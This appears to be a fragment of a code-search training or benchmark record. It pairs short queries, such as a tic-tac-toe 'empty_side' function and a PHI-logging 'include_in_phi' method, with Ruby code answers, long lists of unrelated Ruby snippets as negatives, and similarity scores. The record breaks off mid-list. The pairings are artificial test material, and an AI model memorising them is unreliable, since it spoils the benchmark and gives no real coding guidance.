"0.59891224",
"0.5988661",
"0.5984526",
"0.59842414",
"0.5977722",
"0.5977722",
"0.5977722",
"0.597373",
"0.5973083",
"0.5971284",
"0.59709024",
"0.5968393",
"0.5964521",
"0.59640723",
"0.594545",
"0.5945446",
"0.5945446",
"0.5940818",
"0.59375584",
"0.5936097",
"0.59347695",
"0.593427",
"0.5932214",
"0.5930794",
"0.5930794",
"0.5930794",
"0.5930794",
"0.59211904",
"0.5921117",
"0.5918573",
"0.5917553",
"0.5915157",
"0.5913346",
"0.5907643",
"0.5907643",
"0.5907643",
"0.59058535",
"0.59020424",
"0.590199",
"0.590199",
"0.5899424",
"0.58974403",
"0.5895019",
"0.58947307",
"0.58947307",
"0.5890027",
"0.58888835",
"0.5888321",
"0.5888191",
"0.5881868",
"0.5881868",
"0.58817995",
"0.58810806",
"0.5880555",
"0.5877731",
"0.5877365"
] |
0.7164664
|
3
|
8. empty_side : if there is an empty side, play it
|
def empty_side(board)
SIDES.each do |side|
if board[side] == " "
return side
end
end
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def empty_side\n sides = [2,4,6,8]\n sides.each do |side|\n return side if @game.game.free_position?(side)\n end\n end",
"def play_empty_side(spaces)\n avail = []\n avail << 1 if spaces[1] == \" \"\n avail << 3 if spaces[3] == \" \"\n avail << 5 if spaces[5] == \" \"\n avail << 7 if spaces[7] == \" \"\n return avail.sample if ! avail.empty?\n return false # if all sides are occupied\nend",
"def side\n pick_empty([ [0, 1], [1, 0], [1, 2], [2, 1] ])\n end",
"def play_round\n puts \"---D I N G ! N E W R O U N D !---\"\n @round_over = false\n take_turn(self.current_player) until @round_over\n if @round_over\n @fragment = \"\"\n self.display_standings\n sleep 5\n system(\"clear\")\n end\n end",
"def play_round\n system(\"clear\")\n @board.render\n puts\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n while action.downcase == \"e\" && !(self.valid_flip?(pos))\n self.display_unflag_message\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n end\n action.downcase == \"e\" ? @board[pos].reveal : @board[pos].toggle_flag\n @board.reveal_bombs if @board.is_a_bomb?(pos) && @board[pos].revealed\n end",
"def empty hand\n put \"empty #{hand}\"\n case({ :wait => [/\\.\\.\\.wait|you may only type ahead 1 command|stunned/],\n :empty => [\"You drop\"]})\n when :wait\n pause Rt::value\n empty hand\n end\nend",
"def viewed_from_side; current_player_side || :white; end",
"def play; end",
"def play_like_a_dummy\r\n # very brutal algorithm , always play the first card\r\n card = @cards_on_hand.pop\r\n return card\r\n end",
"def play \n end",
"def play\r\n\t\t[FOLD]\r\n\tend",
"def play\n \n end",
"def play\n #turns = 0\n until over?\n turn\n end\nend",
"def play\n end",
"def play\n end",
"def play\n end",
"def play\n end",
"def play\n\tend",
"def play\n $game.surface.+$game.white.get('Ant')\n $game.surface.+$game.black.get('Beetle')\n $game.surface.+($game.white.get('Ant'), $game.surface.bug(Hive::Color[:white], Bug::Type[:ant1]), Side::Face[:bottom_left])\n #$game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]), Side::Face[:bottom_left])\n $game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]), Side::Face[:top_right])\n $game.surface.+($game.white.get('Ant'), $game.surface.bug(Hive::Color[:white], Bug::Type[:ant2]), Side::Face[:bottom_right])\n $game.surface.+($game.black.get('Queen'), $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper1]), Side::Face[:top_right])\n $game.surface.+($game.white.get('Queen'), $game.surface.bug(Hive::Color[:white], Bug::Type[:ant3]), Side::Face[:bottom_right])\n $game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:queen1]), Side::Face[:top_right])\n $game.surface.+($game.white.get('Spider'), $game.surface.bug(Hive::Color[:white], Bug::Type[:queen1]), Side::Face[:bottom_center])\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper2]).move(Hive::Color[:black], Bug::Type[:beetle1], Side::Face[:bottom_left])\n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant2]).move(Hive::Color[:black], Bug::Type[:queen1], Side::Face[:bottom_center])\n $game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]), Side::Face[:top_center])\n \n # Try putting a $game.list_moves after any move directive\n\n puts \"\\n\\n=====PROOF SECTION=======================\"\n $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper1]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper2]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper3]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:queen1]).describe\n \n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant1]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant2]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant3]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:queen1]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:spider1]).describe\n end",
"def play_game\n while @player_array.select{ |player| player.bankroll > 0 }.length > 0\n play_round\n Print.round_over\n gets\n end\n Print.game_over\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n else draw?\n puts \"Cat's Game!\"\n end\n end",
"def play\n end",
"def zero_player_mode\nend",
"def play_hand\n\n p1 = self.player1\n p2 = self.player2\n p1.play\n p2.play\n winner = winner?(p1,p2)\n if winner\n handle_winner(p1,p2)\n else \n self.war\n end\n\n end",
"def play_round\n @fragment = \"\"\n welcome\n\n until round_over?\n take_turn\n next_player!\n end\n\n update_standings\n end",
"def play\n @play_array = [\"rock\", \"paper\", \"scissors\"]\n @play_array.sample\n end",
"def draw? \n if full? == true\n !won?\n end\n end",
"def inplay\r\n @pitches.select{|pitch| pitch.outcome == 'X'}\r\n end",
"def play_like_a_dummy\r\n # very brutal algorithm , always play the first card\r\n #card = @cards_on_hand.pop\r\n #p @cards_on_hand.size\r\n card = @cards_on_hand[0]\r\n if card\r\n # check if the played card take something\r\n #@table_cards\r\n \r\n #@log.debug \"Alg: cards on table #{@table_cards}\"\r\n list = @core_game.which_cards_pick(card, @table_cards)\r\n #p \"which cards pick: card #{card}, table #{@table_cards.join(\",\")}, list #{list.size}\"\r\n result = [card, list[0]].flatten\r\n return result\r\n end\r\n raise \"Error cards on hand #{@cards_on_hand.join(',')}\" \r\n end",
"def gameplay; @gameplay ||= match.gameplays[current_player_side]; end",
"def play\n take_turn until @master.game_over?\n @master.show_board\n @robot.speak\n end",
"def has_unplayed_hands()\n @current_hand < @hands.length\n end",
"def play\r\n while !over?\r\n turn\r\n end\r\n if won?\r\n puts \"Congratulations #{winner}!\"\r\n elsif draw?\r\n puts \"Cats Game!\"\r\n end\r\n end",
"def play\nturn until over?\nif won?\n puts \"Congratulations #{winner}!\"\nelsif draw? == true\n puts \"Game over! Thanks for playing.\"\nend\nend",
"def main_audio\r\n super\r\n # Stop BGM and BGS\r\n $game_system.bgm_play(nil)\r\n $game_system.bgs_play(nil)\r\n # Play game over ME\r\n $game_system.me_play($data_system.gameover_me)\r\n end",
"def resetBoard (player)\n\t\tif(player.side == 1)\n\t\t\t@p1Board.each do |c|\n\t\t\t\tc.played = false\n\t\t\tend\n\t\telsif(player.side == 2)\n\t\t\t@p2Board.each do |c|\n\t\t\t\tc.played = false\n\t\t\tend\n\t\tend\n\tend",
"def play\n while !over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def draw?\n !won? && full? \n end",
"def playing?\n self.in_progress? or self.caught_up?\n end",
"def play\n while !over?\n \t turn\n end\n if won?\n \t puts \"Congratulations \"+ winner() +\"!\"\n else\n \t puts \"Cat's Game!\"\n end\n end",
"def play_se_for_item\n # Don't play the sound\n end",
"def corner_play\n return unless UNBEATABLE\n board_values = board.squares.map { |k, v| [k, v.marker] }.to_h\n if board_values.values_at(1, 9).all?(@human.mark) ||\n board_values.values_at(3, 7).all?(@human.mark)\n board_values.slice(2, 4, 6, 8).key(INITIAL_MARKER)\n else\n board_values.slice(1, 3, 7, 9).key(INITIAL_MARKER)\n end\n end",
"def current_player_side\n @current_player_side ||= case current_player\n when match.white; :white\n when match.black; :black\n else nil\n end\n end",
"def play\n bang = player.from_hand(Card.bang_card)\n if bang\n left_player = player.players.first\n if left_player && left_player.distance_to <= 1\n player.play_card(bang, left_player)\n end\n end\n end",
"def test_room_starts_with_empty_playlist\n assert_equal([], @room1.show_playlist()) #OR DO WE COUNT THIS?\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cat's Game!\"\n end\n end",
"def over?\n won? || draw? || full?\n end",
"def over?\n won? || draw? || full?\n end",
"def over?\n won? || draw? || full?\n end",
"def play\n \t@fragment = \"\"\n until @losses.keys.length == 1\n system(\"clear\")\n update_status\n play_round\n check_status\n puts \"Next round in 5 seconds...\".bold\n sleep(5)\n end\n final_status\n end",
"def analyze_hand\n pairs = 0\n straight = 0\n flush = 0\n\n # for now be conservative\n @play = 3\n\n # check for pairs\n\n\n # check for flush\n\n # check for straight\n\n\n\n # check for special hands\n #full house\n #royal flush\n #straight flush\n \n end",
"def show_flop\r\n show_hand\r\n end",
"def gameover\n op_hand.clear\n end",
"def play_hand( player, hand )\n @events.handle(:player_play_hand, player, hand) do\n\n while hand.active?\n @events.handle(:player_play_hand_turn, player, hand) do\n if :split == take_turn(player, hand)\n # Automatically return if Player decided to split their hand\n return\n end\n end\n end\n\n end\n end",
"def draw?\n !won? && full?\n end",
"def play\n while !over?\n turn\n end\n won? ? (puts \"Congratulations #{@winner}!\") : (puts \"Cat's Game!\")\n\n end",
"def over?\n won? || draw? || full?\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cats Game!\"\n end\nend",
"def is_playable?\n is_playable = false\n x = 0\n while ((x < self.width) && (!is_playable))\n is_playable = (@assignment[x][0] == nil);\n x += 1\n end\n is_playable\n end",
"def est_vide?()\n return (@pile.size == 0)\n end",
"def part1\n 2.times do\n \n 6.times do\n play :G4\n play :E4\n play :E2\n sleep 0.5\n end\n \n 2.times do\n play :A4\n play :E4\n play :E2\n sleep 0.5\n end\n end\nend",
"def draw?\n !(won?) && full?\n end",
"def play\n #calls to all the methods that produce game!\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{ winner }!\"\n elsif draw?\n puts \"Cat's Game!\"\n else\n puts \"Game over\"\n end\n end",
"def show_play_complete_player\n\t\t# nothing\n\tend",
"def play\n while !over?\n turn\n board.display\n end\n if won?\n puts \"Congratulations #{winner}!\" \n elsif draw?\n puts \"Cats Game!\" \n end\n end",
"def play_as_master_second\r\n \r\n end",
"def draw?\n full? && !won?\n end",
"def play\r\n self.display_board\r\n while !self.over? do\r\n self.turn\r\n end\r\n if self.draw? \r\n puts \"Cat's Game!\"\r\n else\r\n puts \"Congratulations #{self.winner}!\"\r\n end\r\n end",
"def draw?\n !won? && full?\n end",
"def draw?\n !won? && full?\n end",
"def draw?\n !won? && full?\n end",
"def play_offense\n empty_spaces = best_line.spaces.select { |space| space.value.nil? } \n empty_spaces.sample\n end",
"def show_play_complete_player\n # nothing\n end",
"def over?\n won? || full? || draw?\n end",
"def draw?\n !won? && full? ? true : false\n end",
"def play\n while !over?()\n turn()\n end\n\n if won?()\n puts \"Congratulations #{winner()}!\"\n elsif draw?()\n puts \"Cat's Game!\"\n end\n end",
"def play\n until over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def play()\n \n while !over?()\n turn()\n end\n \n if won?()\n puts \"Congratulations #{winner()}!\"\n elsif draw?()\n puts \"Cat's Game!\"\n end\n end",
"def play_dead\n puts \"Lay down, roll over, stay still\"\n end",
"def play\n until over?|| draw?\n @board = turn\n end\n unless winner.nil?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cat's Game!\"\n end\n end",
"def play\n\n until over?\n turn\n end\n\n if self.won?\n puts \"Congratulations #{self.winner}!\"\n elsif self.draw?\n puts \"Cat's Game!\"\n end\n\n end",
"def side_moving\n return @piece_moving.side if @piece_moving\n end",
"def play\n\t\n\t\tuntil over?\n\t\tturn\n\t\tend\n\t\t\n\t\tif won? \n\t\t\twinner\n\t\telsif draw? \n\t\t\tputs \"The game was a Draw!\"\n\t\telse \n\t\t\tputs \"Unexpected Error Occured\" \n\t\tend\n\tend",
"def play()\n until over?() == true\n turn()\n end\n if draw?() != true\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cat's Game!\"\n end\n end",
"def play\n until over?\n turn\n end\n if winner\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\n end",
"def draw?\n !won? && full?\nend",
"def draw?\n !won? && full?\nend",
"def draw?\n !won? && full?\nend",
"def play\n turn until over?\n if won?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\n end",
"def draw?\n if !won? && full?\n true\n end\n end",
"def play\n\t\tgame_loop\n\tend",
"def draw?\n !won? && full?\n end",
"def play\n until over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n\n else draw?\n puts \"Cat's Game!\"\n\n end\n end",
"def over?\n won? || full? || draw?\n end",
"def draw?\r\n !won? && full?\r\n end",
"def play\n until over?\n @board.display\n turn\n end\n @board.display\n puts draw? ? \"Cat's Game!\" : \"Congratulations #{winner}!\"\n end",
"def play\n\n until self.over?\n self.turn\n end\n\n if self.won?\n self.board.display\n puts \"Congratulations #{self.winner}!\"\n elsif self.draw?\n self.board.display\n puts \"Cat's Game!\"\n end\n end",
"def sideUnknown \n \"sideUnknown\" \n end",
"def over?\n draw? || won? || full?\nend"
] |
[
"0.69561434",
"0.69528574",
"0.6400009",
"0.61066055",
"0.60907376",
"0.6036156",
"0.59701604",
"0.58565116",
"0.5854479",
"0.57449645",
"0.5694544",
"0.56689966",
"0.56623507",
"0.5652273",
"0.5652273",
"0.5652273",
"0.5652273",
"0.56250805",
"0.56244415",
"0.56094605",
"0.5601462",
"0.55679834",
"0.5566157",
"0.55629486",
"0.55627733",
"0.5562437",
"0.5562392",
"0.55607945",
"0.55454975",
"0.5542621",
"0.5537268",
"0.5536504",
"0.55297464",
"0.5527113",
"0.55221516",
"0.551417",
"0.54932344",
"0.5492477",
"0.54899603",
"0.54881454",
"0.5483729",
"0.5481767",
"0.54791826",
"0.5478573",
"0.54767084",
"0.54725385",
"0.5468248",
"0.5468248",
"0.5468248",
"0.54651105",
"0.5462161",
"0.5461927",
"0.546003",
"0.5458209",
"0.545097",
"0.5450534",
"0.54449266",
"0.54423946",
"0.5440174",
"0.543512",
"0.5432744",
"0.5430148",
"0.5429965",
"0.5429229",
"0.5428489",
"0.5427209",
"0.54261076",
"0.5422494",
"0.54174715",
"0.5412884",
"0.5412884",
"0.5412884",
"0.54104483",
"0.540692",
"0.54024106",
"0.5389679",
"0.5387741",
"0.53828186",
"0.53826404",
"0.53821164",
"0.53811634",
"0.53785115",
"0.5378151",
"0.5377772",
"0.5377109",
"0.537132",
"0.53708416",
"0.53708416",
"0.53708416",
"0.5369401",
"0.536526",
"0.5359065",
"0.5355754",
"0.53500414",
"0.53474504",
"0.53322124",
"0.53311604",
"0.5330043",
"0.53290176",
"0.53290033"
] |
0.603944
|
5
|
Set methods to be explicitly included in PHI access logging.
|
def include_in_phi(*methods)
self.__phi_include_methods = methods.map(&:to_s)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def extend_phi_access(*methods)\n self.__phi_extend_methods = methods.map(&:to_s)\n end",
"def temporary_access_pass_methods=(value)\n @temporary_access_pass_methods = value\n end",
"def methods\n super + property.keys.map { |v| [\"configure_#{v}\".to_sym, \"request_#{v}\".to_sym] }.flatten\n end",
"def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end",
"def authen_method_line!()\n @authen_method = TAC_PLUS_AUTHEN_METH_LINE\n end",
"def methods=(value)\n @methods = value\n end",
"def register_capabilities(methods); end",
"def protected_methods(all=true) end",
"def instrument_additional_methods\n instrument_save_methods\n instrument_relation_methods\n end",
"def set_general_methods\n @methods_present ||= false\n unless @methods_present\n set_media_links_relation\n set_attributes\n set_validate_methods\n set_callbacks\n end\n @methods_present = true\n end",
"def methods(*args)\n (super + analyser.delegatable_methods).uniq\n end",
"def add_method_tracers methods, metric_name_code\n methods.each do |method_name|\n add_method_tracer method_name.to_sym, \"#{metric_name_code}#{method_name}\"\n end\n end",
"def methods() end",
"def before_method(method)\n @@before_methods << method\n @@wrap_exclusions << method.to_sym # This method will not be wrapped.\n end",
"def merge_http_methods!(methods)\n self.http_methods |= methods\n end",
"def add_accessors_to( packet )\r\n raise NotImplementedError\r\n end",
"def set_cookie_persistence_method(opts)\n opts = check_params(opts,[:methods])\n super(opts)\n end",
"def set_write_method\n @log.instance_eval do\n\n # Determine if asynchronous IO can be used\n def aio?\n @aio = !RUBY_PLATFORM.match(/java|mswin/) &&\n !(@log == STDOUT) &&\n @log.respond_to?(:write_nonblock)\n end\n\n # Define the write method based on if aio an be used\n undef write_method if defined? write_method\n if aio?\n alias :write_method :write_nonblock\n else\n alias :write_method :write\n end\n end\n end",
"def authen_method_notset!()\n @authen_method = TAC_PLUS_AUTHEN_METH_NOT_SET\n end",
"def methods\n super + DELEGATED_METHODS\n end",
"def patched_methods\n @patched_methods ||= {}.with_indifferent_access\n end",
"def access_token_methods(*methods)\n @config.instance_variable_set(:@access_token_methods, methods)\n end",
"def set_authentication_method(opts)\n opts = check_params(opts,[:auth_methods])\n super(opts)\n end",
"def set_accessors\n\t\tt1 = Time.now.to_i\n\t\tself.gather_history\n\t\tself.load_local_item_group\n\t\tself.reports.each do |report|\n\t\t\t## set nil to give it a chance to reset\n\t\t\t## but what about \n\t\t\t## report.worth_processing = nil\n\t\t\treport.order_organization = self.organization\n\t\t\treport.consider_for_processing?(self.history_tags)\n\t\t\treport.set_accessors\n\t\tend\n\t\tself.set_can_be_finalized\n\t\tt2 = Time.now.to_i\n\t\tputs \"set accessors in order takes: #{t2*1000.to_f - t1*1000.to_f}\"\n\tend",
"def authentication_methods=(value)\n @authentication_methods = value\n end",
"def check_only_methods\n end",
"def included_meths(opts = T.unsafe(nil)); end",
"def allow_registration(method); end",
"def set_functions\n super\n end",
"def authen_method_enable!()\n @authen_method = TAC_PLUS_AUTHEN_METH_ENABLE\n end",
"def methods=(_arg0); end",
"def methods; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def autoroute_methods\n self.public_instance_methods.select{|m|m.to_s.start_with?(AutoRouter::Router::METHOD_PREFIX)}\n end",
"def use_as_method\n @method = true\n end",
"def apply_to_methods\n # If method/methods option is set and all are String or Symbol, apply to those only, instead of\n # iterating through all methods\n methods = [@options[:method] || @options[:methods]]\n methods.compact!\n methods.flatten!\n\n if !methods.empty? && methods.all?{ |method| method.is_a?(String) || method.is_a?(Symbol) }\n methods.each do |method|\n apply_to_method(method.to_s)\n end\n\n return\n end\n\n context.public_instance_methods.each do |method|\n apply_to_method(method.to_s)\n end\n\n context.protected_instance_methods.each do |method|\n apply_to_method(method.to_s)\n end\n\n if @options[:private_methods]\n context.private_instance_methods.each do |method|\n apply_to_method(method.to_s)\n end\n end\n end",
"def register_advice_methods!\n scope # force calculation of scope before aliasing methods.\n\n @mutex.synchronize do\n return self if @advice_methods_registered\n\n this = self\n mod_target.instance_eval do\n define_method(this.before_meth, &this.advice.before)\n define_method(this.after_meth, &this.advice.after)\n define_method(this.around_meth, &this.advice.around)\n end\n\n @advice_methods_registered = true\n end\n self\n end",
"def hooked_methods\n @hooked_methods ||= []\n end",
"def allow_instance_methods(*methods)\n @allowed_methods = methods\n end",
"def expose(*meths)\n @exposed ||= []\n meths.each do |meth|\n @exposed << meth unless @exposed.include?(meth)\n end\n @exposed\n end",
"def test_only_adds_methods_to_host_that_are_part_of_public_api\n host_class = Class.new { include ::NewRelic::Agent::MethodTracer }\n plain_class = Class.new\n\n host_instance_methods = host_class.new.methods\n plain_instance_methods = plain_class.new.methods\n\n added_methods = host_instance_methods - plain_instance_methods\n\n public_api_methods = %w[\n trace_execution_unscoped\n trace_execution_scoped\n ]\n\n assert_equal(public_api_methods.sort, added_methods.map(&:to_s).sort)\n end",
"def filter_methods; end",
"def add_head_not_allowed_methods_and_options_methods\n versioned_route_configs = collect_route_config_per_pattern\n # The paths we collected are prepared (cf. Path#prepare), so they\n # contain already versioning information when using path versioning.\n # Disable versioning so adding a route won't prepend versioning\n # informations again.\n without_root_prefix do\n without_versioning do\n versioned_route_configs.each do |config|\n next if config[:options][:matching_wildchar]\n\n allowed_methods = config[:methods].dup\n\n allowed_methods |= [Grape::Http::Headers::HEAD] if !self.class.namespace_inheritable(:do_not_route_head) && allowed_methods.include?(Grape::Http::Headers::GET)\n\n allow_header = (self.class.namespace_inheritable(:do_not_route_options) ? allowed_methods : [Grape::Http::Headers::OPTIONS] | allowed_methods)\n\n config[:endpoint].options[:options_route_enabled] = true unless self.class.namespace_inheritable(:do_not_route_options) || allowed_methods.include?(Grape::Http::Headers::OPTIONS)\n\n attributes = config.merge(allowed_methods: allowed_methods, allow_header: allow_header)\n generate_not_allowed_method(config[:pattern], **attributes)\n end\n end\n end\n end",
"def methods(include_ancestors = true)\n super + @driver.methods(false)\n end",
"def write_method=(val)\n @write_method = val if %w(:flock :normal).include(val)\n end",
"def set_methods_prevention\n @methods_prevention = MethodsPrevention.find(params[:id])\n end",
"def add_to_whitelist(method=:ALLOW)\n if [:ALLOW, :SWALLOW].include?(method) && query_whitelist(/^#{Regexp.escape(@data[:argument])}/)==:DENY\n File.append(\"#{$config[:'config-dir']}/#{@data[:recipient]}\", \"#{@data[:argument]}\\t#{method}\\n\")\n end\n end",
"def method_added(*) end",
"def set_hash_method(opts)\n opts = check_params(opts,[:methods])\n super(opts)\n end",
"def to_donate_methods\n if should_donate? and !@methods.empty?\n fragment(\"%s;$opal.donate(self, [%s]);\" % [@compiler.parser_indent, @methods.map(&:inspect).join(', ')])\n else\n fragment(\"\")\n end\n end",
"def enable_logging(opts); end",
"def instance_methods(include_super=true) end",
"def add_writer_tags(klass, new_method, member); end",
"def only(*methods)\r\n with_options(only: methods)\r\n end",
"def on_request(env)\n env['sinatra.commonlogger'] = true\n super\n end",
"def with_methods\n method_names = @director ? @director.methods_wrapped.map {|m| m.name } : []\n [self.code.methods].flatten.each do |method|\n next if do_not_wrap?(method)\n next if method_names.include?(method.name)\n\n arguments = [method.arguments].flatten\n\n # Ignore methods that have non-public arguments anywhere\n if !arguments.empty? && !arguments.select {|a| !a.cpp_type.base_type.public?}.empty?\n Logger.info \"Ignoring method #{method.qualified_name} due to non-public argument type(s)\"\n next\n end\n\n if method.static?\n add_child StaticMethodNode.new(method, self)\n else\n add_child MethodNode.new(method, self)\n end\n end\n end",
"def protected_methods(all=true)\n __getobj__.protected_methods(all) | super\n end",
"def access_logger\n Rails.application.config.another_logger.info(\"#{request.method} '#{request.path}' #{request.version} from: #{request.remote_ip}\")\n end",
"def protected_instance_methods(include_super=true) end",
"def mock_methods_for_testing! #:nodoc:\n request.headers['mock_methods'].each do |method_name, return_value|\n (class << self; self; end).instance_eval do\n define_method(method_name) { |*not_used| return_value }\n end\n end\n end",
"def restrict_method(m)\n m = m.intern if m.is_a?(String)\n\n raise ArgumentError, _(\"'%{m}' is not an allowed value for method directive\") % { m: m } unless ALL.include?(m)\n\n # if we were allowing all methods, then starts from scratch\n if @methods === ALL\n @methods = []\n end\n\n raise ArgumentError, _(\"'%{m}' is already in the '%{name}' ACL\") % { m: m, name: name } if @methods.include?(m)\n\n @methods << m\n end",
"def context_methods\n get_whitelist + [\n :on, :set, :get, :stop, :stopped?, :method_missing, :data, :d\n ]\n end",
"def all_convenience_methods\n @mutex.synchronize do\n @methods.keys\n end\n end",
"def phi_wrap_method(method_name)\n unless respond_to?(method_name)\n PhiAttrs::Logger.warn(\"#{self.class.name} tried to wrap non-existant method (#{method_name})\")\n return\n end\n return if self.class.__phi_methods_wrapped.include? method_name\n\n wrapped_method = :\"__#{method_name}_phi_wrapped\"\n unwrapped_method = :\"__#{method_name}_phi_unwrapped\"\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n unless phi_allowed?\n raise PhiAttrs::Exceptions::PhiAccessException, \"Attempted PHI access for #{self.class.name} #{@__phi_user_id}\"\n end\n\n unless all_phi_context_logged?\n PhiAttrs::Logger.info(\"#{self.class.name} access by [#{all_phi_allowed_by}]. Triggered by method: #{method_name}\")\n set_all_phi_context_logged\n end\n\n send(unwrapped_method, *args, **kwargs, &block)\n end\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, method_name, wrapped_method)\n\n self.class.__phi_methods_wrapped << method_name\n end",
"def method_missing(method, *args)\n args.unshift(method.to_s)\n set_user_config args\n end",
"def define_attribute_methods\n super\n self.generated_methods.each do |method|\n if method.to_s =~ Regexp.new(\"^#{self.to_s.underscore}__\")\n new_method_name = $~.post_match\n alias_method(new_method_name, method)\n private method\n self.generated_methods << new_method_name\n end\n end\n end",
"def enable_logging(opts)\n opts[:AccessLog] = []\n level = WEBrick::Log.const_get(opts[:BridgetownOptions][\"verbose\"] ? :DEBUG : :WARN)\n opts[:Logger] = WEBrick::Log.new($stdout, level)\n end",
"def access_control\n \n end",
"def expose(*list)\n @exposed_methods ||= []\n @exposed_methods |= list\n end",
"def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end",
"def before_method(method)\n @liquor[method.to_s]\n end",
"def __phi_wrapped_methods\n excluded_methods = self.class.__phi_exclude_methods.to_a\n included_methods = self.class.__phi_include_methods.to_a\n\n attribute_names - excluded_methods + included_methods - [self.class.primary_key]\n end",
"def auth_methods; end",
"def private_methods(all=true) end",
"def initialize_methods_etc\n @method_list = []\n @attributes = []\n @aliases = []\n @requires = []\n @includes = []\n @constants = []\n\n # This Hash maps a method name to a list of unmatched aliases (aliases of\n # a method not yet encountered).\n @unmatched_alias_lists = {}\n end",
"def all_access_to(options = {})\n options.assert_valid_keys(:only, :except)\n if options.has_key?(:only)\n self.public_actions = [options[:only]].flatten.compact.collect{ |a| a.to_sym }\n end\n if options.has_key?(:except)\n instance_methods_array = instance_methods(false).collect{ |a| a.to_sym }\n opts = [options[:except]].flatten.compact.collect{ |a| a.to_sym }\n self.public_actions = opts - instance_methods_array\n self.private_actions = opts\n end\n end",
"def method_missing( name, *args )\n log(name, args) if @@enabled\n end",
"def method4 # and this will be 'public'\r\n\t\t#...\r\n\tend",
"def alias_methods(*method_names)\r\n trait = self\r\n module_or_self.module_eval do\r\n existing_instance_methods = method_names & trait.instance_methods\r\n existing_instance_methods.each do |method_name|\r\n alias_method trait.aliased_method_name(method_name), method_name\r\n end\r\n end\r\n end",
"def all_signed_methods\n HasType.method_names_where(self) {|_| true }\n end",
"def run\n methods = self.class.instance_methods - Object.instance_methods\n methods.grep(%r!^set_!).each do |v|\n send(v)\n end\n end",
"def method_missing( sym, msg=nil, &block )\n\t\t\t\treturn super unless LEVEL.key?( sym )\n\t\t\t\tsym = :debug if @force_debug\n\t\t\t\tVerse.logger.add( LEVEL[sym], msg, @classname, &block )\n\t\t\tend",
"def advanced\n __log_activity(anonymous: true)\n __debug_route\n end",
"def methods\n delegated_instance_methods + old_methods\n end",
"def methods\n delegated_instance_methods + old_methods\n end",
"def fido2_methods=(value)\n @fido2_methods = value\n end",
"def supporting_method\n logger.warn 'This does nothing'\n end",
"def add_method_hooks\n eigen_class = @target.singleton_class\n\n if @options[:class_methods]\n return unless @target.is_a?(Module)\n\n orig_singleton_method_added = @target.method(:singleton_method_added)\n\n eigen_class.send :define_method, :singleton_method_added do |method|\n aspector_singleton_method_added(method)\n orig_singleton_method_added.call(method)\n end\n else\n if @target.is_a? Module\n orig_method_added = @target.method(:method_added)\n else\n orig_method_added = eigen_class.method(:method_added)\n end\n\n eigen_class.send :define_method, :method_added do |method|\n aspector_instance_method_added(method)\n orig_method_added.call(method)\n end\n end\n end",
"def quiet(*method_keys); end",
"def all_methods(nin)\n nin.stealth_mode\n nin.throw_star(3)\n nin.assinate(\"Donald Duck\")\nend",
"def temporary_access_pass_methods\n return @temporary_access_pass_methods\n end",
"def add_alias(method)\n @aliases << method\n end",
"def add_alias(method)\n @aliases << method\n end",
"def after_method(method)\n @@after_methods << method\n @@wrap_exclusions << method.to_sym # This method will not be wrapped.\n end",
